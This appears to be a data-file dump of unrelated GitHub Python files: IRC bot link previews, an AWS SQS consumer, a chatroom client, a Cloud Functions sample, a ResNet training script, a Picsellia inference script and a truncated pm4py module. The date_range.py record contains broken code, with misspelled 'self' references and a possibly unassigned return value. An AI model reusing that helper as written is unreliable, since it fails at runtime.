           self.ongoingPings[nick] = event.channel.name\n            event.user.ping()\n        else:\n            event.user.notice(\n                \"Please wait until your ongoing ping in %s is finished until \"\n                \"trying again.\"\n                % self.ongoingPings[nick]\n            )\n\n    @bones.event.handler(event=bones.event.CTCPPongEvent)\n    def eventPingResponseReceive(self, event):\n        nick = event.user.nickname\n        if nick in self.ongoingPings:\n            event.user.notice(\"%s: Your response time was %.3f seconds.\"\n                              % (nick, event.secs))\n            del self.ongoingPings[nick]\n\n\nclass Twitter(Module):\n    bs = None\n    urlopener = None\n\n    reTweetLink = re.compile(\"(https?\\:\\/\\/)?twitter\\.com\\/[a-zA-Z0-9\\-\\_]+\\/status\\/\\d+\", re.IGNORECASE)  # NOQA\n\n    def __init__(self, *args, **kwargs):\n        Module.__init__(self, *args, **kwargs)\n        try:\n            from bs4 import BeautifulSoup\n            self.bs = BeautifulSoup\n        except ImportError:\n            self.log.warn(\n                \"Unmet dependency BeautifulSoup4: The URL checkers will be \"\n                \"disabled.\"\n            )\n\n    @bones.event.handler(event=bones.event.ChannelMessageEvent)\n    def eventURLInfo_Twitter(self, event):\n        if self.bs is not None:\n            if \"twitter\" in event.message and \"http\" in event.message:\n                data = self.reTweetLink.search(event.message)\n                if data:\n                    url = data.group(0)\n                    html = event.client.factory.urlopener.open(url).read()\n                    soup = self.bs(html)\n                    tweet = soup \\\n                        .find(\"div\", {\"class\": \"permalink-inner permalink-tweet-container\"}) \\\n                        .find(\"p\", {\"class\": \"tweet-text\"}) \\\n                        .text\n                    tweet = u\"↵ \".join(tweet.split(\"\\n\"))\n                    user = soup \\\n                        .find(\"div\", {\"class\": \"permalink-inner permalink-tweet-container\"}) \\\n                        .find(\"span\", {\"class\": \"username js-action-profile-name\"}) \\\n                        .text\n\n                    # shitty fix for pic.twitter.com links\n                    # could be improved by going through all links, check\n                    # whether they start with http and if not replace the\n                    # nodeText with the href attribute.\n                    out = []\n                    for word in tweet.split(\" \"):\n                        if word.startswith(\"pic.twitter.com\"):\n                            word = \"https://%s\" % word\n                        out.append(word)\n                    tweet = \" \".join(out)\n\n                    msg = (u\"\\x0310Twitter\\x03 \\x0311::\\x03 %s \\x0311––\\x03 %s\"\n                           % (tweet, user))\n                    event.channel.msg(msg.encode(\"utf-8\"))\n\n\nclass YouTube(Module):\n    bs = None\n    __fetchData = lambda x: {\"template\": \"html\", \"title\": \"Something went wrong\"}\n\n    reVideoLink = re.compile(\"(https?\\:\\/\\/)?(m\\.|www\\.)?(youtube\\.com\\/watch\\?(.+)?v\\=|youtu\\.be\\/)(?P<id>[a-zA-Z-0-9\\_\\-]*)\")  # NOQA\n    __template_simple = u\"\\x0314You\\x035Tube \\x0314::\\x03 {title} \\x034::\\x03 http://youtu.be/{id}\"  # NOQA\n    __template_api = u\"\\x0314You\\x035Tube \\x034::\\x03 {title}\\x0314, {snippet[channelTitle]} \\x034::\\x0314 {duration} {definition} \\x034::\\x03 http://youtu.be/{id}\"  # NOQA\n\n    apiEndpoint = \"https://www.googleapis.com/youtube/v3/%s?%s\"\n\n    def __init__(self, *args, **kwargs):\n        Module.__init__(self, *args, **kwargs)\n        self.fetchData = self.__fetchData\n\n        self.template_simple = self.settings.get(\"module.utilities\", \"youtube.template.simple\", default=self.__template_simple)\n        self.template_api = self.settings.get(\"module.utilities\", \"youtube.template.api\", default=self.__template_api)\n        self.apikey = self.settings.get(\"module.utilities\", \"youtube.apikey\",\n                                        default=None)\n        if not self.apikey:\n            self.log.warn(\n                \"No API key provided. Video search and detailed video info \"\n                \"will be disabled.\")\n            self.fetchData = self.fetchData_Html\n        else:\n            self.fetchData = self.fetchData_YouTubeApi\n\n        if not self.apikey:\n            try:\n                from bs4 import BeautifulSoup\n                self.bs = BeautifulSoup\n            except ImportError:\n                self.log.warn(\n                    \"Unmet dependency BeautifulSoup4: The URL checkers will \"\n                    \"be disabled.\"\n                )\n\n    def api_request(self, method, **args):\n        args[\"key\"] = self.apikey\n        url = self.apiEndpoint % (method, urllib.urlencode(args))\n        result = self.factory.urlopener.open(url).read()\n        return json.loads(result)\n\n    def fetchData_Html(self, video):\n        url = \"http://youtube.com/watch?%s\" % urllib.urlencode({\"v\": video})\n        html = self.factory.urlopener.open(url).read()\n        soup = self.bs(html)\n        title = soup.find(\"span\", {\"id\": \"eow-title\"}).text.strip()\n        return {\n            \"template\": \"html\",\n            \"id\": video,\n            \"title\": title,\n        }\n\n    def api_videoDetails(self, video):\n        return self.api_request(\"videos\",\n                                part=\"statistics,snippet,contentDetails\",\n                                id=video)\n\n    def api_videoSearch(self, term):\n        data = self.api_request(\"search\", part=\"id\", safeSearch=\"none\",\n                                order=\"relevance\", type=\"video\",\n                                maxResults=\"1\", q=term)\n        if not data or \"items\" not in data or len(data[\"items\"]) < 1:\n            return None\n        return self.fetchData_YouTubeApi(data[\"items\"][0][\"id\"][\"videoId\"])\n\n    def fetchData_YouTubeApi(self, video):\n        data = self.api_videoDetails(video)\n        if not data[\"items\"]:\n            return\n        output = data[\"items\"][0]\n        output.update(output[\"snippet\"])\n        output[\"duration\"] = output[\"contentDetails\"][\"duration\"].lower()[2:]\n        output[\"definition\"] = output[\"contentDetails\"][\"definition\"].upper()\n        output[\"template\"] = \"api\"\n        return output\n\n    def sendToChannel(self, channel, data):\n        if data[\"template\"] == \"api\":\n            output = self.template_api\n        else:\n            output = self.template_simple\n\n        output = output.format(**data)\n        output = u\"↵ \".join(output.split(\"\\n\"))\n        channel.msg(output.encode(\"utf-8\"))\n\n    @bones.event.handler(event=bones.event.ChannelMessageEvent)\n    def checkMessageForUrl(self, event):\n        if not self.bs and not self.apikey:\n            return\n        if not (\"youtu\" in event.message and \"http\" in event.message):\n            return\n\n        data = self.reVideoLink.search(event.message)\n        if not data:\n            return\n\n        video_data = self.fetchData(data.group(\"id\"))\n        if not video_data:\n            return\n        self.sendToChannel(event.channel, video_data)\n\n    @bones.event.handler(trigger=\"yt\")\n    @bones.event.handler(trigger=\"youtube\")\n    def videoSearch(self, event):\n        if not self.apikey:\n            return\n        term = \" \".join(event.args)\n        video = self.api_videoSearch(term)\n        if not video:\n            event.reply(\"No such results.\")\n        self.sendToChannel(event.channel, video)\n","repo_name":"timparenti/cmucc-ircbot","sub_path":"bones/modules/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":9117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"70290287461","text":"import boto3\nimport argparse\nimport json\n\nregion_name = 'ap-northeast-2'\n\ndef parse_args():\n    parser = argparse.ArgumentParser(description='Boto3 Example')\n    parser.add_argument('--access-key', type=str, help='AWS access key id')\n    parser.add_argument('--secret-key', type=str, help='AWS secret access key')\n    parser.add_argument('--queue_url', type=str, help='AWS SQS Endpoint')\n\n    return parser.parse_args()\n\ndef receive_message(sqs, queue_url):\n    response = sqs.receive_message(\n        QueueUrl=queue_url,\n        AttributeNames=['All'],\n        MessageAttributeNames=['All'],\n        MaxNumberOfMessages=1,\n        WaitTimeSeconds=20\n    )\n    if 'Messages' in response:\n        message = response['Messages'][0]\n        message_body = json.loads(message['Body'])\n        print('Received message: ', message_body)\n        # SQS 메시지 삭제\n        sqs.delete_message(QueueUrl=queue_url, ReceiptHandle=message['ReceiptHandle'])\n\ndef main():\n    args = parse_args()\n\n    session = boto3.Session(\n        aws_access_key_id=args.access_key,\n        aws_secret_access_key=args.secret_key\n    )\n\n    # boto3 클라이언트 생성\n    sqs = session.client('sqs', region_name=region_name)\n\n    while True:\n        receive_message(sqs, queue_url=args.queue_url)\n\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"BambooKim/Message-Queue-Compare","sub_path":"Amazon-SQS/SQS-Consumer/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70149885221","text":"from datetime import datetime\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass TimePeriod:\n    def __init__(self, datetimes: list):\n        self._assess_period_length(datetimes)\n        self.period_length = self._define_period_length()\n\n    def _assess_period_length(self, datetime_strings: list): \n        timestamps = []\n\n        for datetime_string in datetime_strings:\n            try:\n                datetime_object = datetime.strptime(\n                    datetime_string, \"%Y-%m-%d %H:%M:%S\")\n            except ValueError as e:\n                datetime_object = datetime.strptime(\n                    datetime_string, \"%Y-%m-%dT%H:%M:%SZ\")\n                    \n            timestamp = datetime.timestamp(datetime_object)\n\n            if timestamp > 0:\n                timestamps.append(timestamp)\n\n        timestamps.sort()\n\n        self.time_delta = datetime.fromtimestamp(timestamps[-1]) \\\n                - datetime.fromtimestamp(timestamps[0])\n        self.first_datetime = datetime.fromtimestamp(timestamps[0])\n        self.last_datetime = datetime.fromtimestamp(timestamps[-1])\n\n    def _define_period_length(self) -> str:\n        days_delta = self.time_delta.days\n        period_string = \"\"\n\n        if days_delta ==1:\n            period_string = \"a day\"\n        elif days_delta == 2 and self._is_weekend():\n            period_string = \"a weekend\"\n        elif days_delta == 2 and not self._is_weekend():\n            period_string = \"two days\"\n        elif 3 <= days_delta <= 6:\n            period_string = \"a few days\"\n        elif 7 <= days_delta <= 10:\n            period_string = \"a week\"\n        elif 11 <= days_delta <= 19:\n            period_string = \"two weeks\"\n        elif 20 <= days_delta <= 30:\n            period_string = self.get_period_month()\n        elif 80  <= days_delta <= 90:\n            period_string = \"a quarter\"\n        elif 150  <= days_delta <= 190:\n            period_string = \"a semester\"\n        elif 300  <= days_delta <= 400:\n            period_string = \"a year\"\n\n        return period_string\n\n    def _is_weekend(self) -> bool:\n        is_weekend = False\n        days_delta = self.time_delta.days\n        first_day = selffirst_datetime.strftime('%A')\n        second_day = self.last_datetime.strftime('%A')\n\n        if days_delta == 2 and \\\n                (first_day == \"Saturday\" and second_day == \"Sunday\"):\n            is_weekend = True\n\n        return is_weekend\n\n    def get_period_month(self) -> str:\n        months = []\n\n        if slef.period_length == \"month\":\n            month = self.first_datetime.strftime(\"%B\")\n\n        return month\n","repo_name":"gnoirzox/wonderful_metadata_titles","sub_path":"date_range.py","file_name":"date_range.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12601259950","text":"class TreeNode:\r\n\tdef __init__(self,data):\r\n\t\tself.data=data\r\n\t\tself.left=None\r\n\t\tself.right=None\r\n\r\ndef input_tree():\r\n\trootdata=int(input())\r\n\tif rootdata==-1:\r\n\t\treturn None\r\n\troot=TreeNode(rootdata)\r\n\t# recursive to take input of left tree\r\n\tleftTree=input_tree()\r\n\t# recursive to take input of right tree\r\n\trightTree=input_tree()\r\n\troot.left=leftTree\r\n\troot.right=rightTree\r\n\treturn root\r\n\r\nroot = TreeNode(1)\r\nroot.left = TreeNode(2)\r\nroot.right = TreeNode(3)\r\nroot.left.left = TreeNode(4)\r\nroot.left.right = TreeNode(5)\r\n\r\n","repo_name":"OfficialNMN/DS-Algo-In-Python","sub_path":"Trees/BinaryTrees/BinaryTrees.py","file_name":"BinaryTrees.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27612006138","text":"import sys\nimport webaas_api\nimport pytermgui as ptg\n\nclass ChatRoomApp:\n    def __init__(self, show_person, show_message, body_window):\n        self.show_person_func = show_person\n        self.show_message_func = show_message\n        self.body_window = body_window\n        self.chatroom_info = webaas_api.ChatRoomInfo(\n            self.show_person_func, self.show_message_func)\n\n    def process_join(self, join_command):\n        username = join_command[0]\n        chatroom_id = int(join_command[1])\n\n        if self.in_chatroom():\n            # Logout Current ChatRoom\n            self.chatroom_info.logout()\n            # Login Another ChatRoom\n            self.chatroom_info.set_chatroom_id(chatroom_id)\n            self.chatroom_info.login(username)\n            corner = [\"\", \"\", \"\", \"\"]\n            corner[ptg.VerticalAlignment.TOP] = \"[bold #FCBA03]ChatRoom {}\".format(chatroom_id)\n            self.body_window.set_char(\"corner\", corner)\n        else:\n            # Login ChatRoom\n            self.chatroom_info.set_chatroom_id(chatroom_id)\n            self.chatroom_info.login(username)\n            corner = [\"\", \"\", \"\", \"\"]\n            corner[ptg.VerticalAlignment.TOP] = \"[bold #FCBA03]ChatRoom {}\".format(chatroom_id)\n            self.body_window.set_char(\"corner\", corner)\n\n    def process_show(self, show_command):\n        chatroom_id = int(show_command[0])\n        show_property = show_command[1]\n        if show_property == 'People':\n            people_list = []\n            chatroom = webaas_api.ChatRoomInfo.get_chatroom(chatroom_id)\n            if chatroom == None:\n                people_list.append(\"There is No ChatRoom ID \" + str(chatroom_id))\n                self.show_person_func(people_list)\n                return\n            people_list = webaas_api.ChatRoomInfo.get_people_list(chatroom)\n            if len(people_list) == 0:\n                people_list.append(\"There is No People in ChatRoom \" + str(chatroom_id))\n            self.show_person_func(people_list)\n        elif show_property == 'Message':\n            message_list = []\n            chatroom = webaas_api.ChatRoomInfo.get_chatroom(chatroom_id)\n            if chatroom == None:\n                message_list.append(\"There is No ChatRoom ID \" + str(chatroom_id))\n                self.show_message_func(message_list)\n                return\n            message_list = webaas_api.ChatRoomInfo.get_message_list(chatroom)\n            if len(message_list) == 0:\n                message_list.append(\"There is No Message in ChatRoom \" + str(chatroom_id))\n            self.show_message_func(message_list)\n        elif show_property == 'ChatRoom':\n            chatroom_print_list = []\n            chatroom_id_list = webaas_api.get_used_chatroom_id()\n            if len(chatroom_id_list) == 0:\n                chatroom_print_list.append(\"There is No ChatRoom\")\n            else:\n                for item in chatroom_id_list:\n                    chatroom_print_list.append(\"ChatRoom ID: \" + str(item))\n            self.show_message_func(chatroom_print_list)\n\n    def process_leave(self):\n        if self.in_chatroom():\n            # log out\n            self.chatroom_info.logout()\n            corner = [\"\", \"\", \"\", \"\"]\n            self.body_window.set_char(\"corner\", corner)\n            self.show_message_func([])\n            self.show_person_func([])\n        else:\n            self.show_message_func([\"You Are Not Logged In!\"])\n\n    def process_message(self, message):\n        if self.in_chatroom():\n            self.chatroom_info.send_user_msg(message)\n        else:\n            self.show_message_func([\"You Are Not in ChatRoom Now!\"])\n            return\n\n    def process_help(self):\n        message_list = []\n        message_list.append(\"/help\")\n        message_list.append(\"    Command Help\")\n        message_list.append(\"/join\")\n        message_list.append(\"    /join \\[username] \\[chatroom_id]\")\n        message_list.append(\"/create\")\n        message_list.append(\"/show\")\n        message_list.append(\"    /show \\[chatroom_id] \\[show_property]\")\n        message_list.append(\"    \\[show_property]\")\n        message_list.append(\"        People\")\n        message_list.append(\"        Message\")\n        message_list.append(\"        ChatRoom\")\n        self.show_message_func(message_list)\n\n    def process_create(self):\n        webaas_api.create_chatroom()\n\n    def process_command(self, command_line):\n        command = str.split(command_line, ' ')\n        root_command = command[0][1:]\n        command_len = len(command)\n        if root_command == 'join' and command_len == 3:\n            return self.process_join(command[1:])\n        elif root_command == 'show' and command_len == 3:\n            return self.process_show(command[1:])\n        elif root_command == 'help':\n            return self.process_help()\n        elif root_command == 'leave':\n            self.process_leave()\n        elif root_command == 'create':\n            self.process_create()\n\n    def in_chatroom(self):\n        return self.chatroom_info.is_in_chatroom()\n\n    def init_app(self):\n        webaas_api.test_endpoint()\n        webaas_api.register()\n        webaas_api.create_schema()\n\n    def release(self):\n        if self.in_chatroom() == False:\n            webaas_api.unregister()\n            return\n\n        self.chatroom_info.logout()\n        webaas_api.unregister()\n\n","repo_name":"endinferno/chaTUI","sub_path":"command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":5324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21397291072","text":"from google.cloud.functions.v1beta2 import cloud_functions_service_client\nfrom google.cloud.proto.functions.v1beta2 import functions_pb2\nfrom google.gax.errors import GaxError\nfrom grpc import StatusCode\n\n# point this at your project ID\nPROJECT_ID = 'gapic-test'\n\nLOCATION_ID = 'us-central1'\nFUNCTION_ID = 'helloWorld'\n\n# upload helloWorld.zip from this directory to Google Storage for your project\nSOURCE_URI = 'gs://gapic-functions-v1beta2/helloWorld.zip'\n\napi = cloud_functions_service_client.CloudFunctionsServiceClient()\nlocation = api.location_path(PROJECT_ID, LOCATION_ID)\nfunction_name = api.function_path(PROJECT_ID, LOCATION_ID, FUNCTION_ID)\n\n\ndef on_delete(operation_future):\n    try:\n        api.get_function(function_name)\n    except GaxError as e:\n        code = getattr(e.cause, \"code\", None)\n        if callable(code) and code() == StatusCode.NOT_FOUND:\n            print('Expect error here since the function should have been deleted')\n        else:\n            raise\n\n\ndef on_update(operation_future):\n    result = operation_future.result()\n    print('Function updated: \\n%s\\n' % result)\n\n    fetched_function = api.get_function(result.name)\n    print('Function fetched: \\n%s\\n' % fetched_function)\n\n    data = '{\"message\":\"Hello World!\"}'\n    call_response = api.call_function(fetched_function.name, data)\n    print('Function call response: \\n%s\\n' % call_response)\n\n    print('List functions:\\n')\n    for function in api.list_functions(location):\n        print(function)\n\n    print('Delete function:\\n')\n    delete_response = api.delete_function(function_name)\n    delete_response.add_done_callback(on_delete)\n    print('Metadata: \\n%s\\n' % delete_response.metadata())\n\n\ndef on_create(operation_future):\n    result = operation_future.result()\n    print('Function created: \\n%s\\n' % result)\n\n    updated_function = functions_pb2.CloudFunction(\n        name=result.name,\n        source_archive_url=result.source_archive_url,\n        pubsub_trigger=('projects/%s/topics/hello_world2' % PROJECT_ID))\n\n    response = api.update_function(result.name, updated_function)\n    response.add_done_callback(on_update)\n    print('Metadata: \\n%s\\n' % response.metadata())\n\ndef on_init(_):\n    function = functions_pb2.CloudFunction(\n        name=function_name,\n        source_archive_url=SOURCE_URI,\n        pubsub_trigger=('projects/%s/topics/hello_world' % PROJECT_ID))\n    response = api.create_function(location, function)\n    response.add_done_callback(on_create)\n    print('Metadata: \\n%s\\n' % response.metadata())\n\ntry:\n    response = api.delete_function(function_name)\n    response.add_done_callback(on_init)\nexcept GaxError as e:\n    code = getattr(e.cause, \"code\", None)\n    if callable(code) and code() == StatusCode.NOT_FOUND:\n        on_init(None)\n    else:\n        raise\n","repo_name":"googleapis/api-client-staging","sub_path":"test/python/functions/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"}
{"seq_id":"33013066150","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom tensorflow import keras\nimport tensorflow as tf\nimport numpy as np\nfrom ops import *\nfrom resnet import resnet\n\n# The later one could be function and class type.\n\nimport argparse\n\n\"\"\"parsing and configuration\"\"\"''\n'''Use arguments to set up parameter accordingly'''\n\n# def parse_args():\ndef parse_flags():\n    \n    desc=\"TensorFlow implementation of Resnet on Fashion_mnist! author: Hazard Wen\"\n    parser=argparse.ArgumentParser(description=desc)\n    # How to confirm whether this desc works well or not.\n    \n    # all the outside arguments can be passed successfully.\n    # Bool data type can not be input by keyboard.\n    \n    '''\n\n\tIn Deep_learning_prac2, we define one function to convert keyboard input into boolean.\n\n\tdef str2bool(v):\n\t\tif isinstance(v, bool):\n\t\t\treturn v\n\t\tif v.lower() in ('yes', 'true', 't', 'y', '1'):\n\t\t\treturn True\n\t\telif v.lower() in ('no', 'false', 'f', 'n', '0'):\n\t\t\treturn False\n\t\telse:\n\t\traise argparse.ArgumentTypeError('Boolean value expected.')\n\n\t'''\n    \n    '''\n\t\n\tcheck if is newest!!!\n\t\n\t'''\n    # add dropout or not. Dropout, probability to keep units\n    parser.add_argument('--dropout_keep_prob', type=float,\n        help='Keep probability of dropout for the fully connected layer(s).', default=0.8)\n    parser.add_argument('--learning_rate', type=float, help='learning rate', default=0.1)\n    parser.add_argument('--max_epochs', type=int, help='Number of epochs to run.', default=100)\n    parser.add_argument('--batch_size', type=int,\n                        help='Number of images to process in a batch.', default=64)\n    parser.add_argument('--activation_function', type=str, choices=['elu', 'relu', 'relu6', 'leaky_relu', 'sigmoid', 'tanh', 'linear'],\n                        help='which activation function we are going to use', default='None')\n    # add argument for data_augmentation with bool data type\n    parser.add_argument('--data_augmentation', type=str, choices=['True','False'], help='excute data augmentation or not', default='False')\n    #******************************************************************************************************************#\n    # Be careful on spelling when you type flag outside, otherwise it will occur one error.\n    # error: unrecognized arguments: --data_augmention True\n    # add arguments for different optimizer\n    parser.add_argument('--optimizer', type=str, choices=['ADAGRAD', 'ADADELTA', 'ADAM', 'RMSPROP', 'MOM'],\n        help='The optimization algorithm to use', default='None')\n    # add argument for batch_normalization or not with bool data type\n    parser.add_argument('--is_batch_normalization',type=str,choices=['True','False'], help='excute batch_normalization or not',default='False')\n    \n    # The following one without check_args is also correct.\n    # return parser.parse_args()\n    return check_args(parser.parse_args())\n\ndef check_args(args):\n\n    return args\n\n'''\nmain function\n'''\n\ndef main():\n\n    print('The version of tensorflow:', tf.__version__)\n    print('The version of keras:', keras.__version__)\n\n    # specific parse arguments\n    #args=parse_args()\n    #args=parser.parse_args()\n    args=parse_flags()\n    if args is None:\n        exit()\n\n    print('\\n The type of args is:',type(args))\n    print('\\n This is the existing arguments:', args)\n    print('\\n ')\n\n    # access the Fashion MNIST directly using TensorFlow method\n    from tensorflow.examples.tutorials.mnist import input_data\n    mnist = input_data.read_data_sets('data/fashion', one_hot=True)\n\n    # Creating placeholders\n    # Explore the format of the dataset before training the model.\n    # The following shows there are 60,000 images in the training set,\n    # with each image represented as 28 x 28 (784) pixels\n    # train_images.shape = (60000, 28, 28)\n    # Likewise, there are 60,000 labels in the training set\n    # len(train_labels) = 60000\n    x = tf.placeholder(tf.float32, shape=[None, 784])\n    #\n    print('\\n The shape of x placeholder is', tf.shape(x))\n    array_1 = np.array([1,2])\n    print('\\n The shape of array_1 is', tf.shape(array_1))\n    print('\\n like x=np.array([1,2]), Here is tensor-like [None,784]')\n    # They seems that they are different.\n    y_true = tf.placeholder(tf.float32, shape=[None, 10])\n\n    # If one component of shape is the special value -1, the size of that dimension is computed so that the total size remains constant.\n    # In particular, a shape of [-1] flattens into 1-D. At most one component of shape can be -1.\n    x_image = tf.reshape(x, [-1, 28, 28, 1])\n    x_image = tf.identity(x_image,'input')\n    print('\\n The shape of x_image is', tf.shape(x_image ))\n    print('\\n like x=np.array([none,1,2,3]), Here is tensor-like [None,28,28,1]')\n    # Create the ResNet model\n    '''x=x_image means that [none,28,28,1]'''\n    # The instance name should be model.\n    # The class name shoulde be Resnet, uppercase should be better.\n    model = resnet(args, x=x_image, n=20, num_classes=10) # we are going to use 20 layers.\n    score = model.out\n\n    # using pre-defined function to get training loss and training accuracy\n    training_loss, accuracy=classification_loss(score,y_true)\n\n    # define reg loss\n    # reg_loss = tf.losses.get_regularization_loss()\n    # training_loss += reg_loss\n\n    # different Optimizer\n    def optimizer_choose(optimizer,learning_rate):\n\n        if optimizer == 'ADAGRAD':\n            opt = tf.train.AdagradOptimizer(learning_rate)\n            return opt\n        elif optimizer == 'ADADELTA':\n            opt = tf.train.AdadeltaOptimizer(learning_rate, rho=0.9, epsilon=1e-6)\n            return opt\n        elif optimizer == 'ADAM':\n            #opt = tf.train.AdamOptimizer(learning_rate, beta1=0.9, beta2=0.999, epsilon=0.1)\n            opt = tf.train.AdamOptimizer(learning_rate)\n            return opt\n        elif optimizer == 'RMSPROP':\n            opt = tf.train.RMSPropOptimizer(learning_rate, decay=0.9, momentum=0.9, epsilon=1.0)\n            return opt\n        elif optimizer == 'MOM':\n            opt = tf.train.MomentumOptimizer(learning_rate, 0.9, use_nesterov=True)\n            return opt\n        else:\n            raise ValueError('Invalid optimization algorithm')\n\n    choosed_optimizer_opt= optimizer_choose(args.optimizer,args.learning_rate)\n\n    train = choosed_optimizer_opt.minimize(training_loss)\n\n    init = tf.global_variables_initializer()\n\n    with tf.Session() as sess:\n        sess.run(init)\n\n        for j in range(args.max_epochs):\n            for i in range(0, 60000, args.batch_size):\n                # mnist.train.next_batch returns a tuple of two arrays\n                batch_x, batch_y = mnist.train.next_batch(args.batch_size)\n                #print('The tf.shape of batch_x is', tf.shape(batch_x))\n                #print('The np.shape of batch_x is', np.shape(batch_x))\n                #print('The type of batch_x is', type(batch_x))\n                '''batch_x looks like ([64,784])'''\n                batch_x=data_augmentation(batch_x, 28, is_data_augmentation=args.data_augmentation)\n                # perform minimize loss per batch\n                sess.run(train, feed_dict={x: batch_x, y_true: batch_y})\n            # Try to add training loss\n            epoch_train_loss=sess.run(training_loss,feed_dict={x: batch_x, y_true: batch_y})\n            # Try to add training accuracy here per epoch\n            training_accuracy=sess.run(accuracy,feed_dict={x: batch_x, y_true: batch_y})\n\n            # change test accuracy using sess.run instead of eval\n            #test_accuracy = accuracy.eval(feed_dict={x: mnist.test.images[: 5000],\n            #                                         y_true: mnist.test.labels[: 5000]})\n            testing_accuracy = sess.run(accuracy, feed_dict={x: mnist.test.images[: 5000],\n                                                             y_true: mnist.test.labels[: 5000]})\n            print('After %d epochs, testing_accuracy: %g, training_accuracy: %g, epoch_train_loss: %g, %d epochs' % (j + 1, testing_accuracy, training_accuracy,epoch_train_loss,j+1))\n\nif __name__=='__main__':\n    main()\n","repo_name":"wencoast/SimpleCNNandResNet","sub_path":"ResNet/mnist_resnet.py","file_name":"mnist_resnet.py","file_ext":"py","file_size_in_byte":8170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17005852586","text":"import json\nfrom pathlib import Path\n\nimport requests\nfrom loguru import logger\nfrom picsellia import Client\n\nimport config\n\n\nif __name__ == \"__main__\":\n    # Connect to Picsellia. \n    client = Client(\n    api_token=config.API_TOKEN,\n    organization_name=config.ORGANIZATION_NAME\n    )\n\n    # Get deployment by name.\n    my_deployment = client.get_deployment(name=config.DEPLOYMENT_NAME)\n\n    # Get your deployment ID.\n    deployment_id = str(my_deployment.id)\n\n    # Get your API token from your profile. \n    api_token = str(config.API_TOKEN)\n\n    # Authentication url \n    auth_url = \"https://serving.picsellia.com/api/login\"\n\n    headers = {\n        \"Authorization\": \"Token \" + api_token,\n    }\n\n    jwt_generation_data = {\n        \"deployment_id\": deployment_id,\n        \"api_token\": api_token\n    }\n\n    jwt_request = requests.post(\n        auth_url,\n        headers=headers,\n        data=json.dumps(jwt_generation_data)\n    )\n\n    # Retrieving the JWT. \n    jwt = jwt_request.json()[\"jwt\"]\n\n    # Serving API endpoint \n    url = \"https://serving.picsellia.com/api/deployment/{}/predict\".format(my_deployment.id)\n\n    header = {\n        \"Authorization\": \"Bearer \" + jwt,\n    }\n\n    # Metadata that helps extrat data from datalake.\n    data = {\n        \"source\": \"camera1\",   \n        \"tag\": \"Cartons\"     \n    }\n    \n    images_folder = config.INFERENCE_DATA_DIR\n\n    images_path = Path(images_folder).glob('*.jpg')\n\n    for image_path in images_path:\n        with open(image_path, \"rb\") as file:\n            r = requests.post(\n                url=url,\n                files={'media': file},\n                headers=header,\n                data=data\n            )\n        \n    logger.info(r.text)\n\n    prediction = r.json()\n    \n\n","repo_name":"picselliahq/picsellia-end-to-end-project","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"15081203320","text":"from pm4py import util as pmutil\nfrom pm4py.evaluation.replay_fitness.versions import alignment_based, token_replay\nfrom pm4py.objects.conversion.log import factory as log_conversion\nfrom pm4py.objects.log.util import general as log_util\nfrom pm4py.objects.log.util import xes as xes_util\n\nALIGNMENT_BASED = \"alignments\"\nTOKEN_BASED = \"token_replay\"\nVERSIONS = {ALIGNMENT_BASED: alignment_based.apply, TOKEN_BASED: token_replay.apply}\nVERSIONS_EVALUATION = {ALIGNMENT_BASED: alignment_based.evaluate, TOKEN_BASED: token_replay.evaluate}\n\nPARAM_ACTIVITY_KEY = 'activity_key'\n\n\ndef apply(log, petri_net, initial_marking, final_marking, parameters=None, variant=\"token_replay\"):\n    \"\"\"\n    Apply fitness evaluation starting from an event log and a marked Petri net,\n    by using one of the replay techniques provided by PM4Py\n\n    Parameters\n    -----------\n    log\n        Trace log object\n    petri_net\n        Petri net\n    initial_marking\n        Initial marking\n    final_marking\n        Final marking\n    parameters\n        Parameters related to the replay algorithm\n    variant\n        Chosen variant (alignments or token-based replay)\n\n    Returns\n    ----------\n    fitness_eval\n        Fitness evaluation\n    \"\"\"\n    if parameters is None:\n        parameters = {}\n    if pmutil.constants.PARAMETER_CONSTANT_ACTIVITY_KEY not in parameters:\n        parameters[pmutil.constants.PARAMETER_CONSTANT_ACTIVITY_KEY] = xes_util.DEFAULT_NAME_KEY\n    if pmutil.constants.PARAMETER_CONSTANT_TIMESTAMP_KEY not in parameters:\n        parameters[pmutil.constants.PARAMETER_CONSTANT_TIMESTAMP_KEY] = xes_util.DEFAULT_TIMESTAMP_KEY\n    if pmutil.constants.PARAMETER_CONSTANT_CASEID_KEY not in parameters:\n        parameters[pmutil.constants.PARAMETER_CONSTANT_CASEID_KEY] = log_util.CASE_ATTRIBUTE_GLUE\n\n    return VERSIONS[variant](log_conversion.apply(log, parameters, log_conversion.TO_EVENT_LOG), petri_net,\n                             initial_marking, final_marking, parameters=parameters)\n\n\ndef evaluate(results, parameters=\"None\", variant=\"token_replay\"):\n    \"\"\"\n    Evaluate replay results when the replay algorithm has already been applied\n\n    Parameters\n    -----------\n    results\n        Results of the replay algorithm\n    parameters\n        Possible parameters passed to the evaluation\n    variant\n        Indicates which evaluator is called\n\n    Returns\n    -----------\n    fitness_eval\n        Fitness evaluation\n    \"\"\"\n    return VERSIONS_EVALUATION[variant](results, 